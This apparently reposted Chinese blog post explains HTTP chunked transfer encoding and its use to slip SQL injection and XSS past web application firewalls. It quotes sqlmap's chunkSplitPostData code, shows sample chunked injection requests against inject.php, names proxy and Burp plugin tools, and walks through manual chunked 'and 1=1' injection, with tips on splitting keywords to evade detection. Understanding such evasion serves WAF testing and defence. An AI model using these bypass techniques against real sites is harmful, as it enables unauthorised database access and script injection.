分块传输编码在WEB安全中的应用——sql注入用,可以直接复用chunkSplitPostData还原

分块传输编码在WEB安全中的应用

from: https://www.zhihuifly.com/t/topic/1090 讲得非常清晰

分块传输编码在WEB安全中的应用

0x01 分块传输编码概念

维基百科对分块传输编码的描述:

分块传输编码(Chunked transfer encoding)是超文本传输协议(HTTP)中的一种数据传输机制,允许HTTP由网页服务器发送给客户端应用( 通常是网页浏览器)的数据可以分成多个部分。分块传输编码只在HTTP协议1.1版本(HTTP/1.1)中提供。(使用HTTP 1.0协议,服务器会主动放弃chunked编码。)

《HTTP权威指南》P373对分块传输编码的解释:

0x02 分块传输编码格式

标准的分块传输编码格式如下:

php [chunk size][\r\n][chunk data][\r\n][chunk size][\r\n][chunk data][\r\n][chunk size = 0][\r\n][\r\n]
chunk size是以十六进制的ASCII码表示,chunk数据以0长度的chunk块结束,也就是(30 0d 0a 0d 0a)。

以下格式也可被识别:

php [chunk size;other data][\r\n][chunk data]
其中的分号之后的other data是无关数据。

0x03 分块传输例子

一个简单的分块传输HTTP请求如下:

POST /inject.php HTTP/1.1
Accept-Encoding: gzip,deflate
Transfer-Encoding: chunked
Connection: close
Accept: */*
Host: 172.20.10.2:8011
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded; charset=utf-8
Content-Length: 48

6;kxebH
id=123
b;pAo6m
12345678911
0

我们传输的数据主体id=123+12345678911分块后分别是6位和11位,上面的6和b就是块数据长度的16进制数,

>>> hex(6)
'0x6'
>>> hex(11)
'0xb'
>>>

我们在服务器输出参数id的值:

HTTP/1.1 200 OK
Date: Fri, 24 May 2019 02:17:07 GMT
Server: Apache/2.4.7 (Ubuntu)
X-Powered-By: PHP/5.5.9-1ubuntu4.17
Content-Length: 14
Connection: close
Content-Type: text/html

12312345678911

f361cad5200dd8443d5f82150f7e9488

可见块数据被服务器自动解码合并输出。

0x04 分块传输应用

根据分块传输原理,这种发包方式用于Bypass基于流量特征检测的WAF应该会很有作用。
以SQL注入攻击为例,我们来分析下sqlmap最新版(2019.5.24下载的)如何利用分块传输绕过WAF进行SQL注入。

lib/core/common.py行5160的chunkSplitPostData()函数实现对数据主体进行分块传输编码:

def chunkSplitPostData(data):
    """
    Convert POST data to chunked transfer-encoded data (Note: splitting done by SQL keywords)

    >>> random.seed(0)
    >>> chunkSplitPostData("SELECT username,password FROM users")
    '5;4Xe90\\r\\nSELEC\\r\\n3;irWlc\\r\\nT u\\r\\n1;eT4zO\\r\\ns\\r\\n5;YB4hM\\r\\nernam\\r\\n9;2pUD8\\r\\ne,passwor\\r\\n3;mp07y\\r\\nd F\\r\\n5;8RKXi\\r\\nROM u\\r\\n4;MvMhO\\r\\nsers\\r\\n0\\r\\n\\r\\n'
    """

    length = len(data)
    retVal = ""
    index = 0

    while index < length:
        chunkSize = randomInt(1)

        if index + chunkSize >= length:
            chunkSize = length - index

        salt = randomStr(5, alphabet=string.ascii_letters + string.digits)

        while chunkSize:
            candidate = data[index:index + chunkSize]

            if re.search(r"\b%s\b" % '|'.join(HTTP_CHUNKED_SPLIT_KEYWORDS), candidate, re.I):
                chunkSize -= 1
            else:
                break

        index += chunkSize
        retVal += "%x;%s\r\n" % (chunkSize, salt)
        retVal += "%s\r\n" % candidate

    retVal += "0\r\n\r\n"

    return retVal

  

如上可见,这里严格按照分块传输编码的规范,并对敏感关键词进行分割,敏感关键词在这里定义:

lib/core/settings.py行808:

a97b4f5db8858819b84dea35cfb68ea1

这几个关键词明显不够,我们可以根据自己的需要添加一下。

对了,还需要添加chunked的请求头,在lib/request/connect.py中:

ad788d7c51ad9914617d8d7473be044a

尝试利用他的--chunked参数进行分块传输注入:

34f7634575e8c2819e2ba9db0ff87fee

可见完美注入,再查看TCP流量:

591db52a4be3addf3f37af4e71ac1865

SQLMAP实现得很优雅。已经不需要自己来写tamper。

0x05 分块传输应用场景拓展

基于HTTP的攻击方式怎么能只局限于SQL注入呢,其实绕过WAF进行XSS、CSRF、SSRF、命令注入等攻击都可以通过分块传输来实现。

1. 代理实现

以XSS为例:
使用代理实现请求体更改,已有人实现(https://github.com/4rat/sqlmap\_chunked\_proxy):

3268c5a3170c1cebd81a9973ed510dfb

运行脚本即监听9999端口,浏览器配置代理127.0.0.1:9999 。

进行XSS:

6b24c1db557b073f028e2063091c6683

数据包情况:

297762587cdd1627e7fc1e6263027358

服务器解析情况:

8aeaaceeec637db95e2d3f5987291502

2. burp插件

https://github.com/c0ny1/chunked-coding-converter

d1c2ead23ae913e2da40acad2c13b934

下图是一个最原始的XSS攻击数据包,这里尝试进行一次最原生的XSS攻击,流量特征非常明显了:

f20149e78e8c7be102346715ceea5c9f

使用插件进行分块传输:‘

30f968463b89d44c7c12dcda96765d09

完美X进去:

11c8a50159f7e47b85dcbe4203af017c

0x06 参考

  1. 维基百科:《分块传输编码》
  2. 《HTTP权威指南》
  3. SQL注入利用分块编码传输绕过[该方法可绕某狗]

    原理:
    在头部加入 Transfer-Encoding: chunked 之后,就代表这个报文采用了分块编码。这时,post请求报文中的数据部分需要改为用一系列分块来传输。每个分块包含十六进制的长度值和数据,长度值独占一行,长度不包括它结尾的,也不包括分块数据结尾的,且最后需要用0独占一行表示结束。
    1. 开启上个实验中已关闭的content-length自动更新。给post请求包加入Transfer-Encoding: chunked后,将数据部分id=1 and 1=1进行分块编码(注意长度值必须为十六进制数),每一块里长度值独占一行,数据占一行如图八所示。
    在HTTP协议层面绕过WAF
    2.将上面图八数据包的
    id=1 and 1=1
    改为
    id=1 and 1=2
     即将图八中所标的第4块的1改为2。如图九所示没有返回数据,payload生效。
    在HTTP协议层面绕过WAF
     
    注意:分块编码传输需要将关键字and,or,select ,union等关键字拆开编码,不然仍然会被waf拦截。编码过程中长度需包括空格的长度。最后用0表示编码结束,并在0后空两行表示数据包结束,不然点击提交按钮后会看到一直处于waiting状态。
posted @ 2021-08-26 10:08  bonelee  阅读(431)  评论(0编辑  收藏  举报